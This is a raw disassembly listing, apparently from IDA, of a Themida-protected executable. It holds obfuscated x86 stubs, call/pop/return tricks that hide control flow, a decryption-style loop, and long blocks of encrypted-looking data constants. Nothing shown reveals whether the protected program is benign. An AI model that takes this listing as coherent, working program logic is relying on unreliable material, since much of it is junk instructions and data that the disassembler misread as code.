mov edx, 1C98h
cmc
loc_5A3FD5: ; CODE XREF: sub_5A4017+4Fj
mov ecx, [eax]
mov [ebp+60B2DE5h], esi
sub ecx, 20452EC4h
mov [ebp+60B17E1h], ebx
add ecx, 7E98FEFBh
and ebx, 62B5C88h
add ecx, 3FD450Fh
sub ebx, [ebp+60B29FDh]
mov [eax], ecx
call sub_5A4017
cmp ebx, [edi-2Dh]
enter 0FFFFD0EAh, 1Ch
iret
sub_5A3FB3 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dd 1397E1DEh
db 1Ah, 0F9h, 6Ch
; =============== S U B R O U T I N E =======================================
sub_5A4017 proc near ; CODE XREF: sub_5A3FB3+50p
cld
pop esi
sub eax, 70C8538Bh
jmp loc_5A4038
; ---------------------------------------------------------------------------
dd 1D438B54h, 0B3AA3A1Eh, 0BED8E139h, 925C1DC9h, 7B541F0Eh
; ---------------------------------------------------------------------------
loc_5A4038: ; CODE XREF: sub_5A4017+8j
add eax, 70C85387h
mov [ebp+60B14EDh], eax
sub edx, 1
jnz loc_5A4060
mov [ebp+60B193Dh], ecx
jmp loc_5A407B
; ---------------------------------------------------------------------------
dd 0FFA06581h, 3A2D71E0h
; ---------------------------------------------------------------------------
loc_5A4060: ; CODE XREF: sub_5A4017+30j
xor ebx, [ebp+60B02D1h]
jmp loc_5A3FD5
; ---------------------------------------------------------------------------
db 0B2h
dd 3BA195F6h, 6DFECFBCh, 0B116C14Ah
db 0ECh, 4Eh, 0A8h
; ---------------------------------------------------------------------------
loc_5A407B: ; CODE XREF: sub_5A4017+3Cj
lea ecx, [ebp+6118083h]
push 0
push edi
call sub_5A408C
and [edi-3Dh], bl
sub_5A4017 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5A408C proc near ; CODE XREF: sub_5A4017+6Dp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_5A408C endp
; ---------------------------------------------------------------------------
jg short loc_5A40E4
jmp loc_5A40AA
; ---------------------------------------------------------------------------
db 0E2h
dd 0D194B4E5h
; ---------------------------------------------------------------------------
xchg eax, edi
retn
; ---------------------------------------------------------------------------
loc_5A40AA: ; CODE XREF: Themida_:005A409Ej
mov [ebp+60B174Dh], ecx
push 0
push eax
call sub_5A40BB
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A40BB proc near ; CODE XREF: Themida_:005A40B3p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 19h
inc eax
push eax
retn
sub_5A40BB endp
; ---------------------------------------------------------------------------
db 50h
dd 3430E078h, 0C1B589A6h, 0C7060B33h, 0B011985h, 73B006h
dd 0C7E58A00h
; ---------------------------------------------------------------------------
loc_5A40E4: ; CODE XREF: Themida_:005A409Cj
test [ecx], ecx
adc [ebx], cl
push es
; ---------------------------------------------------------------------------
db 3 dup(0)
dd 8D896000h, 60B2815h, 8558D8Bh, 0FF61060Bh, 0B0DA5B5h
dd 0AE806h, 0DE570000h, 0E001A639h, 8180EC63h, 51CE8166h
dd 95FF5A4Fh, 60B0AC5h, 4880BB66h, 95FF006Ah, 60B32DDh
dd 2AEBC08Bh, 0DBCC130h, 0B3C3BA8Bh, 0C94AE5E0h, 741C27A1h
dd 0B679795h, 0D8994507h, 0D9E24EC6h, 91E0A90h, 755AE68Bh
dd 13E63261h, 8D8D963Bh, 611818Bh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Bh, 5FC35040h, 0ACCA082Dh, 66F31D56h
dd 2CAEE281h, 174D8D89h, 6A060Bh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 140424h, 51410000h, 8B66ABC3h, 1985C7F1h
dd 94060B01h, 6A00006Bh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 17042444h, 41000000h, 0A3B0C351h, 958955D5h
dd 60B2A99h, 2E09B529h, 85C7060Bh, 60B1009h, 0
; ---------------------------------------------------------------------------
movzx ebx, ax
jmp loc_5A41F5
; ---------------------------------------------------------------------------
dd 8EF69DE8h
db 29h
; ---------------------------------------------------------------------------
loc_5A41F5: ; CODE XREF: Themida_:005A41EBj
push dword ptr [ebp+60B19C9h]
push 0
push edi
call sub_5A4206
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A4206 proc near ; CODE XREF: Themida_:005A41FEp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_5A4206 endp
; ---------------------------------------------------------------------------
dw 0EC4Eh
; ---------------------------------------------------------------------------
mov ebp, 0D9BC0D1Fh
mov ebx, 4499C5E5h
call dword ptr [ebp+60B0AC5h] ; CODE XREF: Themida_:005A4296j
push 0
call dword ptr [ebp+60B32DDh]
mov eax, eax
jmp short loc_5A42A1
; ---------------------------------------------------------------------------
dd 0FA5E8479h, 0F531F0B0h
db 0E7h
; ---------------------------------------------------------------------------
loc_5A423D: ; CODE XREF: Themida_:005A428Dj
db 66h
mov [eax+ebx*2+7FE36B50h], cl
cmp al, 0E0h
xchg eax, esp
cmp eax, 11095465h
jmp fword ptr [ebx]
; ---------------------------------------------------------------------------
jmp short loc_5A4253
; ---------------------------------------------------------------------------
db 0EBh, 0FBh
; ---------------------------------------------------------------------------
loc_5A4253: ; CODE XREF: Themida_:005A424Fj
inc esp
jmp near ptr 0E6FAE71h
; ---------------------------------------------------------------------------
db 18h, 5Bh, 31h
dd 0F4A49B4Eh, 29F058ACh, 6CC3CD0Ah, 5E437616h, 23BF017Fh
dd 0B63E7CA4h, 0DD733DC2h, 8F73E778h, 8A3B2716h
db 66h, 35h, 3Ch
; ---------------------------------------------------------------------------
loc_5A4283: ; CODE XREF: Themida_:005A42A6j
imul byte ptr [edi]
push ss
xchg edx, esp
cmp eax, 64FBCB25h
jge short loc_5A423D
repne xor esi, [ebx-61EA03B0h]
jo short near ptr loc_5A4222+3
sub [esi-800F2F8h], dl
sub bh, [edi]
; ---------------------------------------------------------------------------
db 0C4h
; ---------------------------------------------------------------------------
loc_5A42A1: ; CODE XREF: Themida_:005A4232j
call near ptr loc_5A42AB+1
js short loc_5A4283
xchg dh, bh
sti
loc_5A42AB: ; CODE XREF: Themida_:loc_5A42A1p
lock movsx edx, si
pop ebx
movzx esi, ax
add ebx, 65F6h
mov dl, 8Dh
sub eax, eax
sub si, 87FAh
loc_5A42C2: ; CODE XREF: Themida_:005A4320j
push dword ptr [eax+ebx]
or [ebp+60B1AA1h], ecx
pop edi
mov ecx, ebx
sub edi, 399AB766h
mov ecx, [ebp+60B1B31h]
add edi, 299A309Bh
mov edx, ebx
add edi, 452361Ch
jl loc_5A4305
jmp loc_5A4305
; ---------------------------------------------------------------------------
db 65h
dd 22BCE094h, 0BD3324F9h, 9B85E6CCh, 92A6B875h
db 80h
; ---------------------------------------------------------------------------
loc_5A4305: ; CODE XREF: Themida_:005A42E8j
; Themida_:005A42EEj
mov [ebx+eax], edi
sub dl, 9
mov cx, bx
sub eax, 4
jb loc_5A431A
movsx ecx, cx
loc_5A431A: ; CODE XREF: Themida_:005A4311j
cmp eax, 0FFFF9A8Ch
jnz loc_5A42C2
sub [ebp+60B29D9h], ecx
lea ecx, [ebp+611837Eh]
push 0
push esi
call sub_5A433D
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A433D proc near ; CODE XREF: Themida_:005A4335p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ch
inc esi
push esi
retn
sub_5A433D endp
; ---------------------------------------------------------------------------
db 89h, 91h, 29h
dd 9E90CDD9h, 8D89ECC5h, 60B174Dh, 1BB9B589h, 85C7060Bh
dd 60B0119h, 74E8h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Bh, 0F0C35646h, 90E3458h, 8B788B1Bh, 0B2201BDh
dd 985C706h, 60B10h, 6A000000h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 14042444h, 41000000h, 892AC351h, 0B0C81B5h
dd 0A9B5FF06h, 6A060B1Ah, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 16042444h, 47000000h, 724EC357h, 41BD29E4h
dd 0E9060B09h, 5, 0DA75EDE8h, 0C595FF11h, 6A060B0Ah, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
dd 0CBB7C351h, 6AFA8B66h, 0DD95FF00h, 8B060B32h, 0B44FEBC0h
dd 0CDDF3750h, 73029C6h, 0B5D03910h, 0AB969D48h, 0CFCC3466h
dd 0E2BC208Eh, 9ACB3AFh, 12E86F39h, 503ADC53h, 21215D1Dh
dd 0B806503Dh, 0D23AF621h, 0D666ADD3h, 2B81D1F6h, 17432545h
dd 0A585F0A4h, 4B028BB5h, 7EED53F9h, 4670712Dh, 85C6E1E7h
dd 60B2845h, 30DF6856h, 0B5FFA9C5h, 60B1355h, 7D18858Dh
dd 0D0FF060Eh, 5458D8Dh, 6A51060Bh, 0D9B5FF40h, 0FF060B03h
dd 0B1B95B5h, 0FFD0FF06h, 0B03D9B5h, 95B5FF06h, 0E8060B1Bh
dd 13h, 77920742h, 0D852DF16h, 74119C59h, 0DE5775C8h, 5801A639h
dd 4E88358h, 2242CC1h, 22424C1h, 0F7240403h, 0FF2B241Ch
dd 5B0734FFh, 0CEC381h, 0F3815AF9h, 79DE43A0h, 170EEB81h
dd 1C89474Fh, 1EF8338h, 3B4F4F4Fh, 850F243Ch, 0FFFFFFD8h
dd 0EB99D8Dh, 38B060Bh, 840FC00Bh, 7, 5B8B038Bh, 8B188904h
dd 0ABE9C9h, 8D500000h, 0B11C3F2Eh, 0ABDA5F72h, 0B395A7ACh
dd 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h
dd 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h
dd 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h, 0B4F94E00h
dd 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h
dd 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh
dd 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h, 0E3B29EBDh
dd 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h
dd 97B3ED72h, 0A601E800h, 323D94E7h, 9B144883h, 125EE928h
dd 22680000h, 0E9061187h, 0FFF9F9FBh, 11883468h, 0F9F1E906h
dd 768FFF9h, 0E9061189h, 0FFF9F9E7h, 118A3C68h, 0F9DDE906h
dd 0B668FFF9h, 0E906118Ah, 0FFF9F9D3h, 118B6768h, 0F9C9E906h
dd 1768FFF9h, 0E906118Ch, 0FFF9F9BFh, 118C9768h, 0F9B5E906h
dd 4168FFF9h, 0E906118Dh, 0FFF9F9ABh, 118EED68h, 0F9A1E906h
dd 9D68FFF9h, 0E906118Fh, 0FFF9F997h, 1190E968h, 0F98DE906h
dd 2268FFF9h, 0E9061192h, 0FFF9F983h, 11943168h, 0F979E906h
dd 4468FFF9h, 0E9061195h, 0FFF9F96Fh, 2E350C16h, 589BB6C1h
dd 0F66D5CAFh, 21320119h, 5281BCC4h, 1B61FCE3h, 0C9CE3F24h
dd 76BE6FF4h, 1E6B845Fh, 21CB3023h, 8598F98Dh, 19FF4EC5h
dd 14F8D5DEh, 0ABF050A5h, 0F5A1B296h, 264E9CA7h, 0BD9F195Bh
dd 0EAD4DECh, 7690F71Fh, 0C7DDC812h, 8EFA72F8h, 13A6089h
dd 2B3B0F39h, 3A60895Bh, 119B2A8Eh, 8AA495E4h, 34A17990h
dd 20502Ch, 6FBC0000h, 40E4760Dh, 0BD9F05D1h, 5090645Eh
dd 3A60CB30h, 0DA2EBFE5h, 2C35C733h, 11B1Eh, 50BDE600h
dd 0D4850944h, 0C90DF1CCh, 0C1D23BD5h, 50D466F4h, 0C3941D34h
dd 0E15560B5h, 3EE8D2ADh, 839500CAh, 69B39AB4h, 0EE3BE256h
dd 0EDDB3D46h, 108DBF4Bh, 3014F8DCh, 5DC6822Ah, 7149C394h
dd 0D5DECF1Dh, 3529146Dh, 6FE30D41h, 9B5875BEh, 0BC8D9C09h
dd 5BBBC292h, 0E259C394h, 0C62EBF6Eh, 4E5425F6h, 2374D977h
dd 0D720CD16h, 13EC980Ch, 1E6DC394h, 9C7B5F23h, 6CFE42A6h
dd 0F65A7981h, 54287492h, 8C891DCFh, 0A1BD9F0Dh, 1B62C182h
dd 0B6AA2F63h, 90ABF1ADh, 76B8224Ah, 0CF33446Dh, 932C931Dh
dd 0AC0621A4h, 1E62EB05h, 7AAB3527h, 0B2D61E2Bh, 3530739Ch
dd 0A74023CDh, 0CBE5625Dh, 8C6B1Ch, 0FB94D02h, 0AAFC0000h
dd 50A74093h, 615F261h, 0A7FF28CBh, 56AA5B98h, 264DF46Fh
dd 5182BDC7h, 81526FB4h, 3E251064h, 6A89C4D1h, 0A7234BA1h
dd 28C5859Ah, 1EBDE359h, 3232739Ah, 4EBF6967h, 7AE10B4Ah
dd 1370F064h, 5DCFA972h, 9DDD1926h, 9471F21Ch, 57ADB683h
dd 0CFBB33BDh, 40C3941Dh, 5BDD81A1h, 0D236E6BFh, 9A146834h
dd 905ABE8Bh, 9F4FBD1Ch, 7993B2BDh, 17783B2Fh, 3F379BFFh
dd 3A61134Fh, 0D427D69Ah, 372B2A70h, 0FA0E9F19h, 2C35FF53h
dd 0B87Eh, 50BD8600h, 70DD0B4Ah, 0F7A62A27h, 5D4892ADh
dd 78D07E45h, 941BA1E8h, 0CA0710C3h, 266E9F29h, 0E13155D9h
dd 4CB63C6Bh, 0ED35E468h, 0CA2E62D6h, 0E9E4311Ch, 0DE26D765h
dd 113F13E7h, 8654EF8Dh, 60FF6B6Eh, 74E6DC42h, 0A4427189h
dd 883741C3h, 0D4DDF4F7h, 0B7D3132Fh, 383A60CBh, 49824C2h
dd 79ED7Fh, 9D446D5Bh, 0F1D5E830h, 5F66BA6Bh, 2E116B84h
dd 6B779921h, 7F84A8Ch, 0EA7h, 0B2A198EAh, 0EC774255h
dd 1AD9F003h, 0B5AE95EDh, 0E67D4058h, 0AFF5085Fh, 5DA24390h
dd 212F360h, 0AAFF28CBh, 0B5B7449Fh, 85955531h, 0F56BDAC5h
dd 78FBDADEh, 944F7A8Fh, 0BB33BD6Ch, 0C3941DCFh, 7CF07A40h
dd 0C3941D08h, 808DBB9Fh, 65905A77h, 73573B16h, 7B8C7DD5h
dd 2978954Eh, 0A8FDAC10h, 0DBCA469Dh, 6550FEC1h, 2989134Dh
dd 536AB322h, 9446BA3Eh, 9FC23510h, 52A657BDh, 0A746C563h
dd 4C74DFDh, 187F53C3h, 0EB8CBFCEh, 56ED8F34h, 3D001984h
dd 83DFAE49h, 3FF3C0D5h, 2B432DDBh, 0BFF5C16Eh, 1717FBDFh
dd 0F86CFE85h, 41F9DC90h, 0B7C12B6Fh, 0C58C4B3Fh, 2973DC35h
dd 5A143216h, 0F0635EABh, 38370217h, 8A010DB4h, 0D4987FCBh
dd 0D900000Dh, 806DF6CDh, 6E9F4475h, 0D8352E23h, 8760F3C2h
dd 2291427Dh, 0E5D8203Bh, 0B588917Eh, 183741AEh, 0ECD92ADBh
dd 0CE668A77h, 0C58594BAh, 0DEC6BE0Dh, 0CD72F8D5h, 0CB4EF63Eh
dd 40C3A3Bh, 598398E4h, 9F3390D5h, 76EDD5BDh, 80C468FAh
dd 73A6102h, 0F3891533h, 0B138268h, 0DC501A34h, 446A04C9h
dd 9050241Eh, 307E00F0h, 9A6E7F25h, 262B0E73h, 6F5Eh, 0D6FA600h
dd 7477E476h, 0F59115E6h, 7AC3947Fh, 495AF700h, 73FD6F99h
dd 0DC4CE8CCh, 0F610C3D9h, 9EA3C96Eh, 9A40BABDh, 0E9E0E408h
dd 13673A60h, 7A8A7BF5h, 0E9149043h, 0F8DCA09Fh, 0E9C4864Eh
dd 3C493A60h, 0DF2ADB01h, 21A344E2h, 0E96B1F97h, 86FC3A60h
dd 0A493E568h, 74F80AD0h, 3A60E910h, 0CB94A397h, 7306E91Eh
dd 0F044BB55h, 0EC00000Ch, 0E4760D6Fh, 859A6140h, 0F601EEBDh
dd 3F1377DBh, 9AB7C02Dh, 6E5BAC59h, 61FA829Ah, 2D0844FBh
dd 0C076A98Ch, 22204426h, 0AD446B2Eh, 0D168755h, 0B1C22330h
dd 0D1350811h, 0D46F0D6Dh, 28F3EE06h, 7E444E42h, 8070E5F1h
dd 5B3C1692h, 0C9Fh, 0BAB990E2h, 0D40F3A4Dh, 2D1E83Bh
dd 0BDA69DE5h, 0EE754850h, 97ED0057h, 455A4BA8h, 0FA0AFB78h
dd 0A2F710C3h, 0ADBF4C97h, 85974D39h, 8D73C2C5h, 941D27A7h
dd 0FE8517C3h, 9802F86Ch, 0A59DBD85h, 0A3F825B7h, 38D62A9Eh
dd 1860C0D5h, 0CBBF3725h, 5C3A7A61h, 34D10266h, 0A62D6E3h
dd 0F3971F72h, 743A7A61h, 0ACC02A0Eh, 447162F9h, 0DDFB744Eh
dd 128C6F30h, 0C255F30h, 1E680000h, 0C4D33C27h, 72816EF5h
dd 136B845Fh, 0C2D6372Ch, 8AD160F3h, 0CD162973h, 7DE6DB20h
dd 0AA498490h, 0C61D287Dh, 0CBBF3735h, 5CC58597h, 0D5DE77EDh
dd 50A514F8h, 2B619165h, 0CC7669Ah, 6CE23240h, 0A000006h
dd 0E4760D6Fh, 625DAB5Ah, 0B52C619Eh, 0B3795C68h, 3225B15Fh
dd 0B3BD854Ch, 0AFECBDAh, 9D08D236h, 0F1D5B984h, 1F689557h
dd 0E0DF29D4h, 7B4D6460h, 1A6E863Ah, 0ED3A7B4Dh, 0FCD02A95h
dd 5D6CBF6Eh, 946A95E9h, 41BD20FDh, 0A44122CCh, 52926653h
dd 3A7B3E32h, 7BE17A02h, 703DB6F3h, 4C33744h, 8C6E8ABEh
dd 74BA1DF5h, 0B900000Bh, 608D566Dh, 0CE3F2415h, 0B8558EC3h
dd 67805362h, 8231221Dh, 4578805Bh, 1528719Eh, 0F8D721CEh
dd 4C798A7Bh, 6E866A97h, 0C585961Ah, 0DEA61EEDh, 0A514F8D5h
dd 61916550h, 0C7669A2Bh, 0E232400Ch, 5BBh, 1D27A70Ah
dd 8517C394h, 7DE26CFEh, 0EA9BC649h, 0BA94FA40h, 18FE3CDBh
dd 0AC0BDB75h, 0F0BD85D4h, 0A600F605h, 1EEB3EEEh, 6BE8067Ah
dd 4ABBC517h, 0D2BB0F36h, 0CC00F4C1h, 0BACF3EE8h, 6EBB548Fh
dd 0D35DEF53h, 7A0F2F5Bh, 38ACA03Ah, 3A7A0F4Ch, 6D9BFFC3h
dd 2A304B51h, 710CE782h, 0D5126844h, 8C6F9ADFh, 0C441060Ch
dd 0C900000Ah, 0B05D86BDh, 1E8F5465h, 0C8253E13h, 0B75083B2h
dd 3281526Dh, 0F5C8D02Bh, 4578816Eh, 2827719Eh, 0FCC9DACBh
dd 0DE569A67h, 0C58591AAh, 0DED64E3Dh, 0A514F8D5h, 61916550h
dd 0C7669A2Bh, 0E232400Ch, 50Bh, 760D6F0Ah, 5CAB5AE4h
dd 7F33C36Dh, 0F0BD8598h, 60B5608Ah, 14618E55h, 0ED9D5539h
dd 0F3A7A66h, 8CBA979Eh, 5D76C30h, 7165C4E1h, 36310944h
dd 8C6F32C8h, 44480FFBh, 4900000Ah, 30DD063Dh, 9E0FD4E5h
dd 48A5BE93h, 37D00332h, 0B201D2EDh, 754850ABh, 0C5F801EEh
dd 0A8A7F11Eh, 7C495A4Bh, 5ED61AE7h, 0C585912Ah, 0DE56CEBDh
dd 0A514F8D5h, 28916550h, 0AE1FE3D2h, 82E76B6Ah, 1B3B5756h
dd 79445C49h, 20D8D5CFh, 32400D09h, 47A20h, 22A7CC00h
dd 1CC3941Dh, 0E771FB80h, 941D3B4Fh, 98B68CC3h, 415944D6h
dd 0C34A8E72h, 9D6987BAh, 0BD859824h, 0EA1BC139h, 4FBEAC99h
dd 5DE0837h, 0DEA29FE8h, 0B7A5BEDEh, 77139B25h, 0F83A7A66h
dd 71906482h, 0FE44716Ch, 2A954B84h, 0E85A8C6Fh, 99A17h
dd 0BC8B9F00h, 23F46A7h, 0D4E534D1h, 0B9989E0Fh, 8374DBAh
dd 0E6056CEBh, 57B0A392h, 7E0734Eh, 0F01DC6F1h, 4049AAA7h
dd 904004A8h, 78C7C585h, 0BB33BD80h, 0C3941DCFh, 6C188C40h
dd 0E3C3941Dh, 808DBB9Fh, 7F65A77h, 8A73C7F2h, 5CFB4F76h
dd 5EAB4CF9h, 0F104F501h, 1C167CC0h, 23126891h, 0B63771CFh
dd 0EA094451h, 411FFF2Eh, 1822A32h, 0DE320000h, 0A514F8D5h
dd 0A0FE6550h, 119547DCh, 0BD9F198Ch, 7DF559A1h, 3A60E70Dh
dd 47CDD8D8h, 8F734256h, 0BFFD6DEh, 0CB35D337h, 2C350722h
dd 6F0Fh, 603E9D00h, 0A37974D4h, 7E00F73Bh, 0EA6593C1h
dd 0D6FC63Ch, 263296ADh, 6559C83Ah, 0C3F206F7h, 3ED1B7Fh
dd 49F867F1h, 491893A6h, 38C3874Fh, 0EB44C394h, 8D4AAE91h
dd 0DF91171Bh, 1CE80638h, 0BD9F10BDh, 76C448B2h, 0F1457487h
dd 0E3E3739Dh, 363A60F6h, 0F09418AAh, 793A60F6h, 68AC102Fh
dd 3B7DABEFh, 0DBB756AAh, 0D3922C35h, 7A000000h, 0CFBB33BDh
dd 40C3941Dh, 0D9AD9CEFh, 0E33881E5h, 0F8166ADEh, 41350015h
dd 0A668098h, 0E61EB254h, 0EFE6A09Eh, 191BEA50h, 9FE85125h
dd 35AAA779h, 5FB31744h, 65B461EBh, 5430608Fh, 2A0E53D7h
dd 0C90411FCh, 15CD842Ah, 3B4CC394h, 5EB28D9Bh, 9EEA028Ch
dd 113C6BFBh, 0E864FF29h, 75D9E43Dh, 0D5A7F711h, 0FF089C4Eh
dd 1D42666Ah, 390FA3BEh, 9C4AD143h, 7915BBFh, 66249BEFh
dd 0F8166C3Ah, 0E339E476h, 0C1DB32DCh, 708865FEh, 6568824Dh
dd 0AF9B8660h, 7EEE8h, 0E8E73300h, 0BE8B9A0Bh, 3948A5h
dd 0D5EC32D3h, 0A49BE10Eh, 3AD118BFh, 0EB04DFE6h, 5BB4AF92h
dd 4E1724Dh, 0EC1DC6F3h, 939CE87Ch, 0A413C585h, 0FBDADE3Ch
dd 4F7A8F78h, 0D5DE6C94h, 50A514F8h, 3407FE65h, 0A1000002h
dd 0E4760D6Fh, 9F0B4140h, 0F4CEBDh, 60D3A020h, 9E2F753Ah
dd 35BEC36Ah, 200EE2Ch, 0A7760000h, 0C3941D20h, 77E57E1Eh
dd 859840FFh, 3E9D1BDh, 0C5F004F1h, 0E4D1222Bh, 48858E7Fh
dd 43D8A4C4h, 88D00F99h, 999A241Fh, 0A1152074h, 0ECE096Dh
dd 7BB6A6FBh, 0AA5B2BC5h, 234471D9h, 0D8CC10DFh, 0D7338C6Eh
dd 73E70h, 18374300h, 0EEDB2ADBh, 0B0899875h, 53C42A3h
dd 0D4EB31DEh, 4AA1C80Fh, 3BD40F36h, 0EB04DFE2h, 54B1A29Dh
dd 1CED7643h, 922C58CCh, 0D4A3C585h, 0F8D5DE6Ch, 6550A514h
dd 0E0ED2791h, 9D3EE3Bh, 1AAB9AD2h, 2ED81699h, 7A24BB5h
dd 638F3241h, 69000001h, 14F8D5DEh, 0FE6550A5h, 9547DCA0h
dd 9F198C11h, 0B9CCA1BDh, 4F330E1Dh, 4F33170Bh, 8FFB73FDh
dd 0E3A60E7h, 774B3409h, 0E77D0DD9h, 8A83A60h, 7E8677FDh
dd 96B7A947h, 0B32C3506h, 38h, 760D6F5Dh, 5D140E4h, 645EBD9Fh
dd 0CB305090h, 67B13A60h, 0E335E468h, 82260D4h, 346C81FDh
dd 0BDC233B9h, 0E2AE7780h, 8CDA5536h, 5C51F862h, 0D3782C35h
dd 84000000h, 72F8D5DEh, 0F61004CDh, 0EB2F93A2h, 1A6BF32Ch
dd 6FB564ECh, 0E83DEC50h, 69FD0FDDh, 0C394BC1Dh, 0DEE53D92h
dd 15C44CFAh, 0B82E3500h, 0C3934AD1h, 2BCDD2C3h, 0FA052EB7h
dd 32D0133h, 17CCF90Ah, 3C2E3547h, 0F88C20B2h, 4FC394E8h
dd 0FE09DD0Bh, 22BD9979h, 59681C90h, 9BFF3A67h, 0F701EE6Dh
dd 3C1074D8h, 9AA5FF2Eh, 2AF9EB50h, 446C2DCBh, 0C4DCC9AAh
dd 0A0D86EF9h, 2F1B865Eh, 5F268h, 0D4E33700h, 0BA979E0Fh
dd 0C3D4CB9h, 0D1E036D7h, 0A09FE502h, 3EDD04B3h, 0EF18DBFAh
dd 5F48AB96h, 8E57E49h, 0E811C2FFh, 8D98EC00h, 0A06FC585h
dd 0FBDADE38h, 4F7A8F78h, 0C2A31894h, 959B02C4h, 89F49014h
dd 77BC394h, 22FC1423h, 437A3CA0h, 0D5DEBFA5h, 4BF41A6Dh
dd 0F58A69DAh, 2D91F5E9h, 0C51E2B7Ch, 163Eh, 0D5DE4600h
dd 50A514F8h, 7BB19165h, 4570856Ah, 39679Eh, 0DE810000h
dd 0DC14F8D5h, 0C3941DADh, 66EAD72Ch, 22C27AF9h, 8B72A3EBh
dd 0BAFF437Eh, 19136F7Eh, 0D421C6C7h, 6CBF176Ch, 0B195795Dh
dd 0D50A865Dh, 9D94EF50h, 0F42514Fh, 0BD07FD2Bh, 98E04850h
dd 99FDD1A5h, 0D637D135h, 0EC0CF0CDh, 0CD618B90h, 0BD859ADCh
dd 6E88917Ch, 0FBFE34C6h, 0A7160AD1h, 47C4625Dh, 0EB3CE973h
dd 9FE805DEh, 0BEDEDEA2h, 0CD3FB7A5h, 33446BA7h, 0A7790DA1h
dd 0B8C03048h, 62DD3185h, 2911EE18h, 0F4C1D2C3h, 0AE75BE6Fh
dd 48A74206h, 99FDC530h, 47A7F535h, 0EE0FE985h, 33391DCAh
dd 4364A6BBh, 0D32BDA4Eh, 0A2418ECh, 0E3A350Dh, 25928125h
dd 4B96A2Dh, 0AAFC0000h, 50A74093h, 615F261h, 0A7FF28CBh
dd 56AA5B98h, 264DF46Fh, 5182BDC7h, 81526FB4h, 3E251064h
dd 6A89C4D1h, 0A7234BA1h, 28C5858Fh, 0D5DEE359h, 35E072F8h
dd 2C60D4E3h, 941DA024h, 0ECD329C3h, 675B2418h, 0B4C12EC9h
dd 0ADC15399h, 0C3941DD9h, 56BA54AEh, 0E23292E7h, 0E6F867EBh
dd 7655CE2Dh, 906458BCh, 38E1EC26h, 0F701D2EFh, 3241EB56h
dd 4F73h, 33BD9D00h, 941DCFBBh, 0CC7A40C3h, 4597ACF0h
dd 887C4D58h
dd 5CD09AB4h, 0BD9EE1FBh, 6B1F9721h, 0FC3A60AFh, 97EB6886h
dd 714C5845h, 0AF0E7CE2h, 7A8F3A60h, 28709D4Fh, 0C36DA115h
dd 86B1C720h, 3FD5D32h, 2C930000h, 2D724842h, 4CB25C7Dh
dd 2C23D5DEh, 0D964683Bh, 0CC034C8Bh, 0DF69A8B1h, 0F5CA71FBh
dd 48879117h, 0D9BDE8Fh, 1E7D9EF2h, 91BFB430h, 8AC7D0B9h
dd 0F6F0D69h, 0B64E0976h, 6BF1D59Ah, 0B3C864BAh, 0E2C63A8Eh
dd 8E18AA44h, 94736266h, 5D83A5C3h, 0BEEA5709h, 874FF9C1h
dd 0BD9F9E3Ah, 655CA20Bh, 0D5B5BD01h, 3A619Ch, 4D98E358h
dd 0A81C297Ah, 66AFAB54h, 7F8E28C6h, 35B86485h, 0ECE55A2Ch
dd 3BAFD03Ch, 2D1C6FDEh, 36CB6559h, 3Ch, 1F227BAAh, 0D6F0BF1h
dd 1277E476h, 4AEA9A4Dh, 0B1AF1621h, 101BE935h, 41F074F6h
dd 2EBD9F14h, 2BDA60D4h, 391DE1D8h, 0FA07470Fh, 0C6D23A60h
dd 0D81CCDC7h, 0C9352C35h, 0D3000000h, 14F8D5DEh, 9C605FA5h
dd 19EDD82Dh, 896A67B0h, 941B5C65h, 0BF8A9FC3h, 963E4BA4h
dd 44356781h, 0EE229F9Fh, 0EEC2068Ah, 2E46D01Ah, 3C6B5F5Ah
dd 7570E2Dh, 177EA6Dh, 0E1BB032Dh, 0F51C905Ah, 4A4260B8h
dd 0D458EA70h, 3A6062B0h, 4225C337h, 0E1058814h, 3A6062E5h
dd 4473856Ah, 44B89CF0h, 0F4EF1E96h, 1A60446Dh, 0E0DF25D0h
dd 0A34EC57Ah, 0A6D1474Eh, 0FA3EEF88h, 45E60CDBh, 252D8C6Ch
dd 2AA62h, 0AC9BEF00h, 724F56B7h, 0C4F504E1h, 0A9A8EE1Fh
dd 78475D4Ah, 0F6155CFBh, 0A74093A2h, 17F0635Eh, 0C02D3601h
dd 0B0599AB7h, 895034B8h, 68D7C585h, 0FBDADEF0h, 3B4FE771h
dd 8CC3941Dh, 2EDF98B6h, 8D0BE8E5h, 0E4760D6Fh, 33DDE039h
dd 0B9FE2FB9h, 3B9A6A84h, 34BD9F05h, 30DEAC15h, 0BA9EBD6Fh
dd 556E1ED6h, 31BB3A60h, 3084B5C4h, 757032DCh, 35396E9Fh
dd 0F65B2Ch, 47D10000h, 60595B2Fh, 38D62C3Ah, 0F8D5DEC2h
dd 7199C614h, 0D7BF3B65h, 0EFE89DEDh, 197D460Eh, 3B1A1EEFh
